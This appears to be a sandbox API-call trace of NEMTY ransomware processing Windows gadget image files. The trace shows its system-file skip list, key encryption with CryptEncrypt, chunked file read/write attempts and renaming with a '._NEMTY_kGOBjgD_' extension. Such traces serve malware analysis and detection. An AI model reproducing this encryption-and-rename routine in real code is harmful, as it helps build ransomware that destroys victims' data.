lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc916cb38, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc916cb38, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbcd84d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="Gadget_Star_Empty.png", cAlternateFileName="")) returned 1 [0132.458] lstrcmpiW (lpString1="Gadget_Star_Empty.png", lpString2=".") returned 1 [0132.458] lstrcmpiW (lpString1="Gadget_Star_Empty.png", lpString2="..") returned 1 [0132.458] lstrcmpiW (lpString1="Gadget_Star_Empty.png", lpString2="...") returned 1 [0132.458] lstrcmpiW (lpString1="Gadget_Star_Empty.png", lpString2="windows") returned -1 [0132.458] lstrcmpiW (lpString1="Gadget_Star_Empty.png", lpString2="$RECYCLE.BIN") returned 1 [0132.458] lstrcmpiW (lpString1="Gadget_Star_Empty.png", lpString2="rsa") returned -1 [0132.458] lstrcmpiW (lpString1="Gadget_Star_Empty.png", lpString2="NTDETECT.COM") returned -1 [0132.458] lstrcmpiW (lpString1="Gadget_Star_Empty.png", lpString2="ntldr") returned -1 [0132.458] lstrcmpiW (lpString1="Gadget_Star_Empty.png", lpString2="MSDOS.SYS") returned -1 [0132.458] lstrcmpiW (lpString1="Gadget_Star_Empty.png", lpString2="IO.SYS") returned -1 [0132.458] lstrcmpiW (lpString1="Gadget_Star_Empty.png", lpString2="boot.ini") returned 1 [0132.458] lstrcmpiW (lpString1="Gadget_Star_Empty.png", lpString2="boot.ini") returned 1 [0132.458] lstrcmpiW (lpString1="Gadget_Star_Empty.png", lpString2="AUTOEXEC.BAT") returned 1 [0132.458] lstrcmpiW (lpString1="Gadget_Star_Empty.png", lpString2="ntuser.dat") returned -1 [0132.458] lstrcmpiW (lpString1="Gadget_Star_Empty.png", lpString2="desktop.ini") returned 1 [0132.458] lstrcmpiW (lpString1="Gadget_Star_Empty.png", lpString2="CONFIG.SYS") returned 1 [0132.458] lstrcmpiW (lpString1="Gadget_Star_Empty.png", lpString2="RECYCLER") returned -1 [0132.458] lstrcmpiW (lpString1="Gadget_Star_Empty.png", lpString2="BOOTSECT.BAK") returned 1 [0132.458] lstrcmpiW (lpString1="Gadget_Star_Empty.png", lpString2="bootmgr") returned 1 [0132.458] lstrcmpiW (lpString1="Gadget_Star_Empty.png", lpString2="programdata") returned -1 [0132.458] lstrcmpiW (lpString1="Gadget_Star_Empty.png", lpString2="appdata") returned 1 [0132.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0132.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Star_Empty.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0132.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0132.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Star_Empty.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gadget_Star_Empty.png", lpUsedDefaultChar=0x0) returned 21 [0132.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0132.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0132.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Star_Empty.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0132.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0132.459] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Star_Empty.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gadget_Star_Empty.png", lpUsedDefaultChar=0x0) returned 21 [0132.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0132.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0132.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0132.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0132.459] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Star_Empty.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0132.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0132.459] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Star_Empty.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gadget_Star_Empty.png", lpUsedDefaultChar=0x0) returned 21 [0132.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0132.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0132.459] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Star_Empty.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0132.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0132.459] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Star_Empty.png", cchWideChar=21, lpMultiByteStr=0x4f9ed08, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gadget_Star_Empty.png", lpUsedDefaultChar=0x0) returned 21 [0132.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0132.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340110 [0132.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0132.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0132.459] Sleep (dwMilliseconds=0x5) [0132.473] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x29b6130, dwHighDateTime=0x1d561e8)) [0132.473] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x29b6130, dwHighDateTime=0x1d561e8)) [0132.473] GetLastError () returned 0x5 [0132.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0132.473] GetLastError () returned 0x5 [0132.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0132.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0132.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0132.473] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0132.473] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0132.473] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0132.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401d8 [0132.474] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401d8, pcchString=0x653e91c | out: pszString="jdQpkCRp9CBHsuK9ohIOjThrQlfFl7yaEOQFf//ALmnY9pQ8m2nskB1RTNRxY7+/\r\nPhLJ5AMyy2/82xwHmUYfKyVDuRzIrZZgJCave8+V5cmAF8mfg3Ir8xzOwcLlMLx+\r\nx+fziADgASR/cAkQKOhKhC66pgiX8lfmUF5CN2es4Qe3pcli12LI/GdZ9f3Tblz2\r\nVhsIaNxbqIubLdU7eD4k23VH973ZA0DhnlvGcQR+uBUR05XJkns8uh3/oy5oXvvy\r\n7qLRuDHH+CtlUcyzjN8uSgDbgKOw/x1i/jOqK93Clr97VLMDv/VGyq/5v5nDDvxR\r\n4qR9GCymGMjeZaLNGX3djg==\r\n", pcchString=0x653e91c) returned 1 [0132.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0132.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0132.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0132.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0132.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401d8 [0132.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0132.474] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Star_Empty.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_star_empty.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0132.474] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0132.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0132.475] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.475] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.484] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.484] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.484] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.484] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.494] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.494] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.494] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.494] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.503] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.503] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.503] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.503] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.512] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.512] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.512] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.512] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.522] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.522] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.522] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.522] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.531] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.531] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.541] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.541] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.541] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.541] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.550] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.550] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.550] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.550] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.560] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.560] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.560] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.560] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.569] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.569] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.569] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.569] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.575] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.575] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.576] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.576] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.581] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.582] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.582] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.582] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401d8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0132.582] CloseHandle (hObject=0xffffffff) returned 0 [0132.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0132.582] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0132.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0132.582] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0132.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0132.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0132.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340410 [0132.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0132.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0132.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0132.582] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Star_Empty.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_star_empty.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Star_Empty.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_star_empty.png._nemty_kgobjgd_")) returned 0 [0132.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0132.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0132.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0132.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0132.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0132.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0132.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0132.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0132.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0132.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0132.583] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc916cb38, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc916cb38, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbcd84d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="Gadget_Star_Full.png", cAlternateFileName="")) returned 1 [0132.583] lstrcmpiW (lpString1="Gadget_Star_Full.png", lpString2=".") returned 1 [0132.583] lstrcmpiW (lpString1="Gadget_Star_Full.png", lpString2="..") returned 1 [0132.583] lstrcmpiW (lpString1="Gadget_Star_Full.png", lpString2="...") returned 1 [0132.583] lstrcmpiW (lpString1="Gadget_Star_Full.png", lpString2="windows") returned -1 [0132.583] lstrcmpiW (lpString1="Gadget_Star_Full.png", lpString2="$RECYCLE.BIN") returned 1 [0132.583] lstrcmpiW (lpString1="Gadget_Star_Full.png", lpString2="rsa") returned -1 [0132.583] lstrcmpiW (lpString1="Gadget_Star_Full.png", lpString2="NTDETECT.COM") returned -1 [0132.583] lstrcmpiW (lpString1="Gadget_Star_Full.png", lpString2="ntldr") returned -1 [0132.583] lstrcmpiW (lpString1="Gadget_Star_Full.png", lpString2="MSDOS.SYS") returned -1 [0132.583] lstrcmpiW (lpString1="Gadget_Star_Full.png", lpString2="IO.SYS") returned -1 [0132.583] lstrcmpiW (lpString1="Gadget_Star_Full.png", lpString2="boot.ini") returned 1 [0132.583] lstrcmpiW (lpString1="Gadget_Star_Full.png", lpString2="boot.ini") returned 1 [0132.583] lstrcmpiW (lpString1="Gadget_Star_Full.png", lpString2="AUTOEXEC.BAT") returned 1 [0132.583] lstrcmpiW (lpString1="Gadget_Star_Full.png", lpString2="ntuser.dat") returned -1 [0132.583] lstrcmpiW (lpString1="Gadget_Star_Full.png", lpString2="desktop.ini") returned 1 [0132.583] lstrcmpiW (lpString1="Gadget_Star_Full.png", lpString2="CONFIG.SYS") returned 1 [0132.583] lstrcmpiW (lpString1="Gadget_Star_Full.png", lpString2="RECYCLER") returned -1 [0132.583] lstrcmpiW (lpString1="Gadget_Star_Full.png", lpString2="BOOTSECT.BAK") returned 1 [0132.583] lstrcmpiW (lpString1="Gadget_Star_Full.png", lpString2="bootmgr") returned 1 [0132.583] lstrcmpiW (lpString1="Gadget_Star_Full.png", lpString2="programdata") returned -1 [0132.583] 